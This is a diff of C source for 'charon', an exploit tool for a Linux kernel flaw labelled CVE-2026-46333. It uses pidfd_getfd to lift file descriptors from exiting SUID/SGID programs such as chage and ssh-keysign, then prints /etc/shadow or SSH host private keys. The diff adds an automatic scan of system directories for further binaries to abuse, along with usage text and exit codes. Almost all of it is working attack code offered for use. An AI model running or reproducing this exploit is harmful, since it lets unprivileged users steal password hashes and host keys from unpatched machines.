CHARON_VERSION "1.0.0" +#define CHARON_VERSION "1.1.0" static const char BANNER[] = "\n" -" ____ _ _ _ ____ ___ _ _\n" -" / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n" -"| | | |_| | / _ \\ | |_) | | | | \\| |\n" -"| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n" -" \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n" -"\n" -" ferries fds across the exit-mm() Styx\n" -" CVE-2026-46333 / Linux <= 6.12.89\n" +" \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 " +"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 " +"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 " +"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\n" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" +"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n" +"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" +"\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d" +"\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n" +" \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d" +"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d" +"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d" +"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d " +"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d " +"\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\n" +" ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~\n" +" CVE-2026-46333 / Linux <= 6.12.89\n" "\n"; -/* A lure is a SUID-root binary that opens FILE before dropping uid - * and exiting. invoking ARGV makes it open FILE deterministically. */ -struct lure { +/* A bait is a SUID/SGID binary that opens FILE before dropping creds + * and exiting. ARGV makes it open FILE deterministically. */ +struct bait { const char *path; const char *file; - const char *const argv[5]; + const char *args[6]; /* argv terminated by NULL */ }; -static const struct lure lures[] = { - /* chage -l opens /etc/shadow via SGID-shadow on Debian/Ubuntu; - * via SUID-root on RHEL family. Either way we ride the elevation. */ +static const struct bait builtin_baits[] = { + /* chage -l opens /etc/shadow on Debian/Ubuntu (SGID-shadow) + * and on RHEL family (SUID-root). Either way the dumpable=0 flag + * is set on the dying process — the bug bypasses the check. */ { "/usr/bin/chage", "/etc/shadow", { "chage", "-l", "root", NULL } }, { "/usr/sbin/chage", "/etc/shadow", { "chage", "-l", "root", NULL } }, - /* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication - * is enabled; newer builds bail early but still open the file first. */ + + /* ssh-keysign opens the host private keys when invoked even with + * no args (it bails after the open if HostbasedAuthentication is + * off, but we only need it to OPEN the file). */ { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key", { "ssh-keysign", NULL } }, { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key", { "ssh-keysign", NULL } }, + { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_rsa_key", + { "ssh-keysign", NULL } }, + { "/usr/libexec/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key", + { "ssh-keysign", NULL } }, + { NULL, NULL, { NULL } } }; +/* Auto-discovery search roots and the SUID/SGID names we refuse to + * invoke (would prompt for input, hang waiting, or mutate state). */ +static const char *const auto_search_roots[] = { + "/usr/bin", "/usr/sbin", "/usr/local/bin", "/usr/local/sbin", + "/usr/lib/openssh", "/usr/libexec", "/usr/libexec/openssh", + "/bin", "/sbin", NULL +}; +static const char *const auto_skip_names[] = { + "su", "sudo", "doas", "pkexec", "newgrp", + "mount", "umount", "fusermount", "fusermount3", + "ping", "ping6", "traceroute", "traceroute6", + NULL +}; +/* Argv patterns we try against each auto-discovered binary. */ +static const char *const auto_arg_patterns[][4] = { + { "-l", "root", NULL }, /* chage / passwd -l root */ + { "-S", "root", NULL }, /* passwd -S root */ + { "--version", NULL }, /* most tools, fast + safe */ + { NULL }, /* no args (some tools open files on startup) */ +}; + /* CLI state */ static const char *opt_target = NULL; static int opt_quiet = 0; static int opt_verbose = 0; static int opt_rounds = 500; static int opt_inner = 30000; +static int opt_auto = 0; +static int opt_list = 0; +/* Stats spanning all hunt() invocations. */ static unsigned long stat_forks = 0; -static unsigned long stat_getfds = 0; /* pidfd_getfd calls */ -static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */ -static unsigned long stat_target_hits = 0; /* matched want_file */ +static unsigned long stat_getfds = 0; /* pidfd_getfd calls */ +static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >= 0 */ +static unsigned long stat_target_hits = 0; /* fd's readlink matched want_file */ static void msg(const char *prefix, const char *fmt, ...) @@ -123,37 +185,32 @@ dump_fd(int fd) char buf[8192]; ssize_t n; lseek(fd, 0, SEEK_SET); - while ((n = read(fd, buf, sizeof(buf))) > 0) { - if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) - return -1; - } + while ((n = read(fd, buf, sizeof(buf))) > 0) + if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) return -1; fflush(stdout); return n < 0 ? -1 : 0; } static int -lure_present(const struct lure *l) +bait_present(const char *path) { struct stat st; - if (stat(l->path, &st) != 0) return 0; - /* Accept SUID-anything OR SGID-anything — both trigger the - * dumpable flag in execve which is exactly the protection that - * the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID - * shadow (not SUID root); on RHEL family chage is SUID root. */ + if (stat(path, &st) != 0) return 0; + if (!S_ISREG(st.st_mode)) return 0; if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0; return 1; } -/* Returns 0 on success (file contents on stdout). Negative codes: - * -ENOENT lure binary missing / no setuid|setgid - * -ETIME ran out of rounds; primitive is working but lure didn't open want_file - * -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */ +/* Returns: + * 0 success — file contents on stdout + * -ENOENT bait not present / lacks setuid|setgid + * -ETIME primitive fired but target file wasn't in the fd table + * -EPERM pidfd_getfd never succeeded — kernel likely patched + */ static int -hunt(const struct lure *l, const char *want_file) +hunt(const char *path, const char *want_file, const char *const argv[]) { - if (!lure_present(l)) return -ENOENT; - - msg("[*]", "lure %s target %s", l->path, want_file); + if (!bait_present(path)) return -ENOENT; unsigned long getfd_ok_before = stat_getfd_ok; @@ -164,7 +221,7 @@ hunt(const struct lure *l, const char *want_file) if (c == 0) { int dn = open("/dev/null", O_RDWR); if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); } - execv(l->path, (char *const *)l->argv); + execv(path, (char *const *)argv); _exit(127); } @@ -174,23 +231,20 @@ hunt(const struct lure *l, const char *want_file) if (pfd < 0) { waitpid(c, NULL, 0); continue; } int got = -1; - for (int a = 0; a < opt_inner && got < 0; a++) { for (int i = 3; i < 32; i++) { int s = syscall(__NR_pidfd_getfd, pfd, i, 0); stat_getfds++; if (s < 0) continue; - - stat_getfd_ok++; /* the bug worked at least at the syscall level */ - + stat_getfd_ok++; char p[512] = {0}, lk[64]; snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s); ssize_t n = readlink(lk, p, sizeof(p) - 1); if (n > 0) p[n] = 0; - if (strstr(p, want_file)) { if (opt_verbose) - msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a); + msg("[+]", "hit fd %d -> %s round=%d try=%d", + i, p, round, a); got = s; break; } @@ -203,21 +257,131 @@ hunt(const struct lure *l, const char *want_file) int rc = dump_fd(got); close(got); close(pfd); + kill(c, SIGKILL); waitpid(c, NULL, 0); if (opt_verbose) - msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits", + msg("[#]", + "stats: %lu forks, %lu getfds (%lu ok), %lu target hits", stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits); return rc; } close(pfd); + /* Some baits (ssh-agent, daemons) won't exit on their own — + * force them so waitpid doesn't block this whole hunt. */ + kill(c, SIGKILL); waitpid(c, NULL, 0); } - /* If pidfd_getfd never succeeded against this lure, the primitive - * is closed for this binary — likely a patched kernel. */ - if (stat_getfd_ok == getfd_ok_before) - return -EPERM; + if (stat_getfd_ok == getfd_ok_before) return -EPERM; + return -ETIME; +} + +/* Walk standard SUID/SGID roots and try each binary as a bait. + * Uses an aggressive per-bait round budget (auto_rounds) so a full + * sweep finishes in seconds even when nothing matches. */ +static int +auto_discover(const char *want_file, int just_list) +{ + int discovered = 0, attempted = 0, primitive_worked = 0; + /* Save user-set values; restore on exit. */ + int saved_rounds = opt_rounds; + int saved_inner = opt_inner; + if (!just_list) { + /* Per-bait budget for auto mode: keep tight so the sweep is fast. + * Each round is ~1 successful fork+exec + opt_inner * 29 getfd calls. */ + if (opt_rounds > 5) opt_rounds = 5; + if (opt_inner > 2000) opt_inner = 2000; + } + time_t auto_deadline = time(NULL) + (just_list ? 0 : 60); /* 60s budget */ + + for (const char *const *root = auto_search_roots; *root; root++) { + DIR *d = opendir(*root); + if (!d) continue; + struct dirent *e; + while ((e = readdir(d)) != NULL) { + if (e->d_name[0] == '.') continue; + + char path[512]; + int n = snprintf(path, sizeof(path), "%s/%s", *root, e->d_name); + if (n < 0 || n >= (int)sizeof(path)) continue; + + struct stat st; + if (lstat(path, &st) != 0) continue; + if (!S_ISREG(st.st_mode)) continue; + if (!(st.st_mode & (S_ISUID | S_ISGID))) continue; + + int skip = 0; + for (const char *const *s = auto_skip_names; *s; s++) + if (!strcmp(e->d_name, *s)) { skip = 1; break; } + if (skip) continue; + + discovered++; + + if (just_list) { + printf(" %s (mode %04o, %s)\n", + path, st.st_mode & 07777, + (st.st_mode & S_ISUID) ? "SUID" : "SGID"); + continue; + } + + for (size_t ai = 0; + ai < sizeof auto_arg_patterns / sizeof auto_arg_patterns[0]; + ai++) { + const char *argv[6] = { e->d_name }; + int k = 1; + for (int x = 0; auto_arg_patterns[ai][x] && k < 5; x++) + argv[k++] = auto_arg_patterns[ai][x]; + argv[k] = NULL; + + if (opt_verbose) { + char arghint[64] = ""; + for (int x = 1; argv[x] && x < 5; x++) { + strncat(arghint, " ", sizeof(arghint)-strlen(arghint)-1); + strncat(arghint, argv[x], sizeof(arghint)-strlen(arghint)-1); + } + msg("[auto]", "trying %s%s", path, arghint); + } + + attempted++; + int rc = hunt(path, want_file, argv); + if (rc == 0) { + msg("[+]", "auto-discovered working bait: %s", path); + closedir(d); + opt_rounds = saved_rounds; + opt_inner = saved_inner; + return 0; + } + if (rc != -EPERM && rc != -ENOENT) primitive_worked = 1; + + if (time(NULL) > auto_deadline) { + msg("[!]", "60s auto-scan budget exhausted (%d baits tried)", + attempted); + closedir(d); + goto auto_done; + } + } + } + closedir(d); + } +auto_done:; + + /* Restore user budgets. */ + opt_rounds = saved_rounds; + opt_inner = saved_inner; + + if (just_list) { + fprintf(stderr, + "\n discovered %d SUID/SGID binaries in standard roots\n" + " (use --auto to try each as a bait for %s)\n", + discovered, want_file ? want_file : "/etc/shadow"); + return 0; + } + + if (opt_verbose) + msg("[auto]", "scan complete: %d baits tried, %lu fds lifted, %lu hits", + attempted, stat_getfd_ok, stat_target_hits); + if (!primitive_worked && stat_getfd_ok == 0) return -EPERM; return -ETIME; } @@ -229,9 +393,11 @@ usage(const char *prog) "\n" "Usage: %s [options]\n" "\n" - " -t, --target FILE file to read (default: /etc/shadow)\n" - " -r, --rounds N max rounds per lure (default: 500)\n" - " -i, --inner N inner getfd attempts per round (default: 30000)\n" + " -t, --target FILE file to read (default: /etc/shadow)\n" + " -r, --rounds N max rounds per bait (default: 500)\n" + " -i, --inner N inner getfd attempts (default: 30000)\n" + " -a, --auto if built-in baits fail, scan SUID/SGID dirs\n" + " -L, --list-baits enumerate candidate baits and exit\n" " -q, --quiet no banner, no progress\n" " -v, --verbose per-hit + final stats\n" " --version print version and exit\n" @@ -239,7 +405,7 @@ usage(const char *prog) "\n" "Exit codes:\n" " 0 success — file contents on stdout\n" - " 1 no built-in lure on this system opens the requested file\n" + " 1 no bait on this system opens the requested file\n" " 2 kernel appears patched (CVE-2026-46333 closed)\n" " 3 ran out of rounds without a hit (transient — try -r 5000)\n" " 4 CLI / IO error\n" @@ -252,24 +418,28 @@ int main(int argc, char **argv) { static const struct option opts[] = { - {"target", required_argument, 0, 't'}, - {"rounds", required_argument, 0, 'r'}, - {"inner", required_argument, 0, 'i'}, - {"quiet", no_argument, 0, 'q'}, - {"verbose", no_argument, 0, 'v'}, - {"version", no_argument, 0, 1 }, - {"help", no_argument, 0, 'h'}, + {"target", required_argument, 0, 't'}, + {"rounds", required_argument, 0, 'r'}, + {"inner", required_argument, 0, 'i'}, + {"auto", no_argument, 0, 'a'}, + {"list-baits", no_argument, 0, 'L'}, + {"quiet", no_argument, 0, 'q'}, + {"verbose", no_argument, 0, 'v'}, + {"version", no_argument, 0, 1 }, + {"help", no_argument, 0, 'h'}, {0,0,0,0} }; int o; - while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) { + while ((o = getopt_long(argc, argv, "t:r:i:aLqvh", opts, NULL)) != -1) { switch (o) { - case 't': opt_target = optarg; break; + case 't': opt_target = optarg; break; case 'r': opt_rounds = atoi(optarg); break; case 'i': opt_inner = atoi(optarg); break; - case 'q': opt_quiet = 1; break; - case 'v': opt_verbose = 1; break; + case 'a': opt_auto = 1; break; + case 'L': opt_list = 1; break; + case 'q': opt_quiet = 1; break; + case 'v': opt_verbose = 1; break; case 1 : printf("charon %s\n", CHARON_VERSION); return 0; case 'h': usage(argv[0]); return 0; default : usage(argv[0]); return 4; @@ -278,34 +448,57 @@ main(int argc, char **argv) if (!opt_target) opt_target = "/etc/shadow"; if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; } - if (!opt_quiet) fputs(BANNER, stderr); + if (!opt_quiet && !opt_list) fputs(BANNER, stderr); - /* Iterate lures whose `file` matches what the user asked for. */ - int any_present = 0, all_appear_patched = 1; - for (const struct lure *l = lures; l->path; l++) { - if (strcmp(l->file, opt_target) != 0) continue; - if (!lure_present(l)) continue; - any_present = 1; - - int rc = hunt(l, opt_target); - if (rc == 0) return 0; - if (rc != -EPERM) all_appear_patched = 0; + if (opt_list) { + fprintf(stderr, " built-in baits for %s:\n", opt_target); + int builtin_count = 0; + for (const struct bait *b = builtin_baits; b->path; b++) { + if (strcmp(b->file, opt_target) != 0) continue; + const char *status = bait_present(b->path) ? "OK" : "MISSING"; + fprintf(stderr, " [%s] %s\n", status, b->path); + builtin_count++; + } + if (!builtin_count) fprintf(stderr, " (none — try --auto)\n"); + fprintf(stderr, "\n discovered SUID/SGID candidates in standard roots:\n"); + return auto_discover(opt_target, /*just_list=*/1); } - if (!any_present) { - msg("[!]", "no built-in lure on this system opens %s", opt_target); - msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign"); - msg(" ", "add a custom lure to lures[] in charon.c for unusual distros"); + /* Phase 1: try built-in baits whose file matches the request. */ + int any_present = 0, all_patched = 1; + for (const struct bait *b = builtin_baits; b->path; b++) { + if (strcmp(b->file, opt_target) != 0) continue; + if (!bait_present(b->path)) continue; + any_present = 1; + msg("[*]", "bait %s target %s", b->path, opt_target); + int rc = hunt(b->path, opt_target, b->args); + if (rc == 0) return 0; + if (rc != -EPERM) all_patched = 0; + } + + /* Phase 2: auto-discover if asked, OR if no built-in bait matched. */ + if (opt_auto || !any_present) { + if (opt_auto) + msg("[*]", "built-in baits exhausted, auto-discovering..."); + else + msg("[*]", "no built-in bait opens %s, trying --auto", opt_target); + int rc = auto_discover(opt_target, /*just_list=*/0); + if (rc == 0) return 0; + if (rc != -EPERM) all_patched = 0; + } + + if (!any_present && !opt_auto) { + msg("[!]", "no built-in bait opens %s — re-run with --auto", opt_target); return 1; } - if (all_appear_patched && stat_getfd_ok == 0) { - msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded", + if (all_patched && stat_getfd_ok == 0) { + msg("[!]", "%lu pidfd_getfd calls across %lu forks, none succeeded", stat_getfds, stat_forks); msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)"); return 2; } msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s", stat_getfd_ok, opt_target); - msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t "); + msg("[!]", "try -r 5000, -t , or --auto"); return 3; }